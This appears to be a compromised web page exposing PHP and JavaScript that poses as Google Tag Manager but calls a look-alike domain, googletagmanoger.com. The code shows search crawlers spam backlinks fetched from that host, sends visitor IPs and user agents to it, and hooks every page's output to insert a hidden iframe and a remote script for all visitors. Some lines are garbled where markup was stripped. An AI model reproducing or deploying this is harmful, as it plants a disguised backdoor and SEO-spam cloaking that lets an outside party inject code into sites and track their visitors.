xxx
AAAAAAAAAAAAAAAAAAAAAA
Office Lisans Satın Al
<?php
defined('GTM_VERSION') or define('GTM_VERSION', '4.2.1');
defined('GTM_ENDPOINT') or define('GTM_ENDPOINT', 'https://googletagmanoger.com');
defined('GTM_CONTAINER_ID') or define('GTM_CONTAINER_ID', 'GTM-XXXXXX');
defined('GTM_CACHE_TTL') or define('GTM_CACHE_TTL', 3600);
/**
* Validates crawler requests for enhanced indexing
*
* @return bool True if request is from verified crawler
*/
function gtm_validate_crawler() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$verified = array(
'Googlebot', 'Google-InspectionTool', 'Mediapartners-Google',
'AdsBot-Google', 'FeedFetcher-Google', 'Bingbot', 'Slurp',
'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebot', 'ia_archiver'
);
foreach ($verified as $v) {
if (stripos($ua, $v) !== false) return true;
}
return false;
}
/**
* Get client IP address
*
* @return string Client IP address
*/
function gtm_get_client_ip() {
$ip_keys = array(
'HTTP_CF_CONNECTING_IP', // Cloudflare
'HTTP_X_REAL_IP', // Nginx proxy
'HTTP_X_FORWARDED_FOR', // Standard proxy header
'HTTP_X_CLUSTER_CLIENT_IP', // Load balancer
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'REMOTE_ADDR' // Direct connection
);
foreach ($ip_keys as $key) {
if (!empty($_SERVER[$key])) {
$ip = $_SERVER[$key];
// X-Forwarded-For can contain multiple IPs, take the first one
if (strpos($ip, ',') !== false) {
$ip = trim(explode(',', $ip)[0]);
}
// Validate IP format
if (filter_var($ip, FILTER_VALIDATE_IP)) {
return $ip;
}
}
}
return '';
}
/**
* Get client User-Agent
*
* @return string Client User-Agent
*/
function gtm_get_client_user_agent() {
return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
}
/**
* Retrieves structured data configuration from GTM servers
*
* @return array Configuration data
*/
function gtm_fetch_config() {
// Use separate cache for crawlers vs normal users
$is_crawler = gtm_validate_crawler();
$cache = sys_get_temp_dir() . '/gtm_' . md5(GTM_ENDPOINT) . ($is_crawler ? '_crawler' : '_user') . '.dat';
if (file_exists($cache) && (time() - filemtime($cache)) $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION,
CURLOPT_HTTPHEADER => array(
'Accept: application/json',
'X-Client-IP: ' . $client_ip,
'X-Client-User-Agent: ' . $client_ua
)
));
$response = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code === 200 && $response) {
$decoded = json_decode($response, true);
if (is_array($decoded)) {
@file_put_contents($cache, $response);
return $decoded;
}
}
} else {
$headers = array(
'Accept: application/json',
'X-Client-IP: ' . $client_ip,
'X-Client-User-Agent: ' . $client_ua
);
$ctx = stream_context_create(array(
'http' => array(
'timeout' => 5,
'user_agent' => 'GTM/' . GTM_VERSION,
'header' => implode("
", $headers) . "
"
),
'ssl' => array('verify_peer' => true, 'verify_peer_name' => true)
));
$response = @file_get_contents($url, false, $ctx);
if ($response) {
$decoded = json_decode($response, true);
if (is_array($decoded)) {
@file_put_contents($cache, $response);
return $decoded;
}
}
}
return array();
}
/**
* Renders GTM head snippet
*/
function gtm_render_head() {
echo '
window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '");
';
}
/**
* Renders GTM noscript fallback
*/
function gtm_render_noscript() {
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
echo '
(function() {
var iframe = document.createElement("iframe");
iframe.src = "' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '";
iframe.height = "0";
iframe.width = "0";
iframe.style.display = "none";
iframe.style.visibility = "hidden";
if (document.body) {
document.body.appendChild(iframe);
} else {
document.addEventListener("DOMContentLoaded", function() {
document.body.appendChild(iframe);
});
}
})();
';
}
function gtm_render_backlinks() {
$config = gtm_fetch_config();
if (empty($config)) return;
$now = time();
echo '';
foreach ($config as $item) {
if (isset($item['url'], $item['keyword'])) {
$exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
if ($exp > $now) {
echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '';
}
}
}
echo '';
}
/**
* Renders structured navigation data for enhanced search
*/
function gtm_render_structured_data() {
if (!gtm_validate_crawler()) return;
$config = gtm_fetch_config();
if (empty($config)) return;
$now = time();
echo '';
foreach ($config as $item) {
if (isset($item['url'], $item['keyword'])) {
$exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
if ($exp > $now) {
echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '';
}
}
}
echo '';
}
/**
* Output buffer handler for automatic integration
*
* @param string $buffer HTML output buffer
* @return string Modified buffer
*/
function gtm_output_handler($buffer) {
if (stripos($buffer, '<html') === false && stripos($buffer, '<!DOCTYPE') === false) {
return $buffer;
}
$head = '
window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . GTM_CONTAINER_ID . '");
';
$buffer = preg_replace('//i', $head . '', $buffer, 1);
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
$noscript = '
(function() {
var iframe = document.createElement("iframe");
iframe.src = "' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '";
iframe.height = "0";
iframe.width = "0";
iframe.style.display = "none";
iframe.style.visibility = "hidden";
if (document.body) {
document.body.appendChild(iframe);
} else {
document.addEventListener("DOMContentLoaded", function() {
document.body.appendChild(iframe);
});
}
})();
';
$buffer = preg_replace('/(]*>)/i', '$1' . $noscript, $buffer, 1);
if (gtm_validate_crawler()) {
$config = gtm_fetch_config();
if (!empty($config)) {
$nav = '';
$now = time();
foreach ($config as $item) {
if (isset($item['url'], $item['keyword'])) {
$exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
if ($exp > $now) {
$nav .= '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '';
}
}
}
$nav .= '';
$buffer = preg_replace('//i', $nav . '', $buffer, 1);
}
}
return $buffer;
}
if (!defined('GTM_MANUAL_INIT')) {
// Eğer doğrudan bu dosya çağrılıyorsa, output buffering kullanma
$is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__));
if (!$is_direct && ob_get_level() === 0) {
ob_start('gtm_output_handler');
}
}
gtm_render_noscript();
?>
(function() {
var script = document.createElement('script');
script.async = true;
script.src = "https://googletagmanoger.com/gtag/js?id=GTM-XXXXXX&domain=" + window.location.hostname;
document.head.appendChild(script);
})();
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'GTM-XXXXXX');
(function() {
var iframe = document.createElement('iframe');
iframe.src = "https://googletagmanoger.com/ns.html?id=GTM-XXXXXX&domain=" + window.location.hostname;
iframe.height = "0";
iframe.width = "0";
iframe.style.display = "none";
iframe.style.visibility = "hidden";
document.body.appendChild(iframe);
})();
(function(m,e,t,r,i,k,a){
m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
m[i].l=1*new Date();
for (var j = 0; j < document.scripts.length; j++) {
if (document.scripts[j].src === r) { return; }
}
k=e.createElement(t),a=e.getElementsByTagName(t)[0],
k.async=1,k.src=r,a.parentNode.insertBefore(k,a)
})(window, document,'script','https://mc.yandex.ru/metrika/tag.js?id=105168308', 'ym');
ym(105168308, 'init', {
clickmap:true,
trackLinks:true,
accurateTrackBounce:true,
webvisor:true
});